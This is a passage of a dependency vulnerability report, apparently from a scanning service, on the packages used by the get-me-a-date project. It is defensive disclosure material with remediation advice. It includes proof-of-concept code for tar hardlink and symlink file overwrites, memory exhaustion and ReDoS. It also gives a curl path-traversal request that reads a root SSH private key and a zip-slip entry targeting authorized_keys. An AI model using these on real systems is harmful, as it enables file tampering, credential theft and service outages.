ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ip-address to version 10.7.4 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: rollbar
  • Introduced through: modern-logger@1.5.86

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › rollbar@2.21.0

Overview

rollbar is an Effortlessly track and debug errors in your JavaScript applications with Rollbar. This package includes advanced error tracking features and an intuitive interface to help you identify and fix issues more quickly.

Affected versions of this package are vulnerable to Prototype Pollution via the utility.set function. An attacker can modify the prototype of global objects by supplying a crafted payload, potentially leading to application instability or service disruption.

Note: The project maintainers have stated that there is no possibility that user input could be used to exploit the prototype pollution described here. The PoC has been validated as a theoretical vector, and a fixed version has been released.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade rollbar to version 2.26.5, 3.0.0-beta.5 or higher.

References

medium severity

Access of Resource Using Incompatible Type ('Type Confusion')

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Access of Resource Using Incompatible Type ('Type Confusion') due to improper user-input sanitization, due to unsafe fall-through in GET WHERE conditions.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

SQL Injection

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.37.4.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to SQL Injection via the escape function. An attacker can execute arbitrary SQL commands by supplying specially crafted input values that begin with TO_TIMESTAMP or TO_DATE when the dialect is set to oracle.

Note: This is only exploitable if the database dialect configuration is set to oracle.

Remediation

Upgrade sequelize to version 6.37.4 or higher.

References

medium severity

Improper Validation of Specified Index, Position, or Offset in Input

  • Vulnerable module: uuid
  • Introduced through: aws-sdk@2.853.0, sequelize@5.21.13 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › aws-sdk@2.853.0 › uuid@3.3.2
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › uuid@3.4.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › modern-logger@1.5.86 › rollbar@2.21.0 › uuid@3.0.1

Overview

uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.

Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.

PoC

cd /home/StrawHat/uuid
npm ci
npm run build

node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
  ['v4',()=>v4({},new Uint8Array(8),4)],
  ['v5',()=>v5('x',ns,new Uint8Array(8),4)],
  ['v6',()=>v6({},new Uint8Array(8),4)],
]) {
  try { fn(); console.log(name,'NO_THROW'); }
  catch(e){ console.log(name,'THREW',e.name); }
}"

Remediation

Upgrade uuid to version 11.1.1, 14.0.0 or higher.

References

medium severity
new

XML Injection

  • Vulnerable module: xml2js
  • Introduced through: aws-sdk@2.853.0

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › aws-sdk@2.853.0 › xml2js@0.4.19

Overview

Affected versions of this package are vulnerable to XML Injection in the escapeCDATA function in lib/builder.js. An attacker can inject arbitrary XML elements and attributes into the generated document by supplying a value, serialized with the cdata option, that contains two or more ]]> sequences, since only the first is escaped and any later one prematurely closes the CDATA section ahead of attacker-controlled content. This requires the application to enable the non-default cdata: true builder option.

Remediation

There is no fixed version for xml2js.

References

medium severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: inflight
  • Introduced through: sqlite3@5.0.2 and facebook-login-for-robots@1.1.155

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › facebook-login-for-robots@1.1.155 › puppeteer@8.0.0 › rimraf@3.0.2 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.

Exploiting this vulnerability results in crashing the node process or in the application crash.

Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.

To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.

PoC

const inflight = require('inflight');

function testInflight() {
  let i = 0;
  function scheduleNext() {
    let key = `key-${i++}`;
    const callback = () => {
    };
    for (let j = 0; j < 1000000; j++) {
      inflight(key, callback);
    }

    setImmediate(scheduleNext);
  }


  if (i % 100 === 0) {
    console.log(process.memoryUsage());
  }

  scheduleNext();
}

testInflight();

Remediation

There is no fixed version for inflight.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: tar
  • Introduced through: sqlite3@5.0.2

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › tar@2.2.2
    Remediation: Upgrade to sqlite3@5.1.7.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-pre-gyp@0.11.0 › tar@4.4.19

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.

PoC

const fs = require('fs')
const path = require('path')
const tar = require('tar')

const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'

// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')

// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
  path: 'exploit_hard',
  type: 'Link',
  size: 0,
  linkpath: secret 
})
h1.encode()

// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
  path: 'exploit_sym',
  type: 'SymbolicLink',
  size: 0,
  linkpath: targetSym 
})
h2.encode()

// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))

console.log('[*] Extracting malicious tarball...')

// 3. Extract with default secure settings
tar.x({
  cwd: out,
  file: tarFile,
  preservePaths: false
}).then(() => {
  console.log('[*] Verifying payload...')

  // Test Hardlink Overwrite
  try {
    fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
    
    if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
      console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
    } else {
      console.log('[-] Hardlink failed')
    }
  } catch (e) {}

  // Test Symlink Poisoning
  try {
    if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
      console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
    } else {
      console.log('[-] Symlink failed')
    }
  } catch (e) {}
})

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade tar to version 7.5.3 or higher.

References

medium severity

Exposure of Private Personal Information to an Unauthorized Actor

  • Vulnerable module: @angular/common
  • Introduced through: @angular/common@4.4.4

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/common@4.4.4
    Remediation: Upgrade to @angular/common@20.3.34.

Overview

Affected versions of this package are vulnerable to Exposure of Private Personal Information to an Unauthorized Actor via the xsrfInterceptorFn in packages/common/http/src/xsrf.ts, where the XSRF interceptor skips token injection for all absolute URLs, including those that share the same origin as the application. An attacker can exploit this gap to perform state-changing requests from a victim's browser without a valid XSRF token, bypassing the intended cross-site request forgery protection. This affects any mutating HTTP request (non-GET, non-HEAD) made using an absolute URL rather than a relative one.

Note: This is only exploitable when the application makes mutating requests using absolute URLs to the same origin, and XSRF protection is enabled (the default in HttpClient).

Remediation

Upgrade @angular/common to version 20.3.34, 21.0.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: swagger-ui-dist
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-ui-dist@3.52.5

Overview

swagger-ui-dist is a module that exposes Swagger-UI's entire dist folder as a dependency-free npm module. Use swagger-ui instead, if you'd like to have npm install dependencies for you.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.

NOTE: This vulnerability has also been identified as: CVE-2021-46708

Remediation

Upgrade swagger-ui-dist to version 4.1.3 or higher.

References

medium severity

Server-side Request Forgery (SSRF)

  • Vulnerable module: swagger-ui-dist
  • Introduced through: serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-ui-dist@3.52.5

Overview

swagger-ui-dist is a module that exposes Swagger-UI's entire dist folder as a dependency-free npm module. Use swagger-ui instead, if you'd like to have npm install dependencies for you.

Affected versions of this package are vulnerable to Server-side Request Forgery (SSRF) via the ?url parameter, which was intended to allow displaying remote OpenAPI definitions. This functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.

NOTE: This vulnerability has also been identified as: CVE-2018-25031

Remediation

Upgrade swagger-ui-dist to version 4.1.3 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: @angular/compiler
  • Introduced through: @angular/compiler@11.2.3

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › @angular/compiler@11.2.3
    Remediation: Upgrade to @angular/compiler@20.3.25.

Overview

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the two-way property binding. An attacker can execute arbitrary JavaScript in the context of the user's browser by supplying crafted input to a sensitive DOM property bound with two-way binding syntax.

Note: This is only exploitable if the application uses two-way binding on a sensitive native DOM property, the bound value is user-controllable, and no additional manual sanitization is performed.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade @angular/compiler to version 20.3.25, 21.2.17, 22.0.1 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: ip-address
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-http-client@1.0.4 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › socks5-https-client@1.2.1 › socks5-client@1.2.8 › ip-address@6.1.0

Overview

ip-address is an A library for parsing IPv4 and IPv6 IP addresses in node and the browser.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the group, link, and spanAll functions, as well as the parseMessage field of thrown errors. An attacker can execute arbitrary JavaScript in the context of the application by supplying crafted input that is rendered as HTML. This is only exploitable if untrusted input is passed to the relevant functions and their output is rendered as HTML (e.g., via innerHTML).

Workaround

This vulnerability can be mitigated by not passing untrusted input to the constructor, never rendering the output of the affected functions or error fields as HTML, treating these values as text only, sanitizing output with DOMPurify before inserting into the DOM, or validating input to reject zone identifiers or invalid characters.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade ip-address to version 10.1.1 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: sequelize
  • Introduced through: sequelize@5.21.13

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13
    Remediation: Upgrade to sequelize@6.28.1.

Overview

sequelize is a promise-based Node.js ORM for Postgres, MySQL, MariaDB, SQLite and Microsoft SQL Server.

Affected versions of this package are vulnerable to Information Exposure due to improper user-input, by allowing an attacker to create malicious queries leading to SQL errors.

Remediation

Upgrade sequelize to version 6.28.1 or higher.

References

medium severity

Uncaught Exception

  • Vulnerable module: uri-js
  • Introduced through: request-on-steroids@1.1.110, happn-wrapper@1.1.86 and others

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › happn-wrapper@1.1.86 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › mint-wrapper@1.0.84 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › tinder-wrapper@1.0.85 › request-on-steroids@1.1.110 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sqlite3@5.0.2 › node-gyp@3.8.0 › request@2.88.2 › har-validator@5.1.5 › ajv@6.15.0 › uri-js@4.4.1

Overview

uri-js is a RFC 3986/3987 compliant, scheme extendable URI/IRI parsing/validating/resolving library for JavaScript.

Affected versions of this package are vulnerable to Uncaught Exception in the parse() function of src/schemes/mailto.ts, whose to branch calls hfield[1].split(",") directly, while the subject, body, and default branches all route through unescapeComponent(), which short-circuits on a missing value. An attacker can crash the process by supplying a mailto URI whose query carries a bare to token with no =value, such as mailto:?to, so splitting on = yields a one element array and the undefined second element is dereferenced. This requires the application to pass an attacker-influenced string to URI.parse(), URI.resolve(), URI.normalize(), or URI.equal(), none of which wrap the scheme handler in a try/catch, and whether the throw terminates the process or only fails the one request depends on the host's own error handling.

Remediation

There is no fixed version for uri-js.

References

medium severity

Improper Validation of Specified Type of Input

  • Vulnerable module: validator
  • Introduced through: sequelize@5.21.13 and serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-parser@4.0.2 › z-schema@3.25.1 › validator@10.11.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Improper Validation of Specified Type of Input in the isURL() function which does not take into account : as the delimiter in browsers. An attackers can bypass protocol and domain validation by crafting URLs that exploit the discrepancy in protocol parsing that can lead to Cross-Site Scripting and Open Redirect attacks.

Remediation

Upgrade validator to version 13.15.20 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: sequelize@5.21.13 and serverful@1.4.90

Detailed paths

  • Introduced through: get-me-a-date@hfreire/get-me-a-date › sequelize@5.21.13 › validator@10.11.0
    Remediation: Upgrade to sequelize@5.22.5.
  • Introduced through: get-me-a-date@hfreire/get-me-a-date › serverful@1.4.90 › hapi-swagger@13.1.0 › swagger-parser@4.0.2 › z-schema@3.25.1 › validator@10.11.0

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the isSlug() function.

PoC

var validator = require("validator")
function build_attack(n) {
    var ret = "111"
    for (var i = 0; i < n; i++) {
        ret += "a"
    }

    return ret+"_";
}
for(var i = 1; i <= 50000; i++) {
    if (i % 10000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
       validator.isSlug(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
   }
}

Details

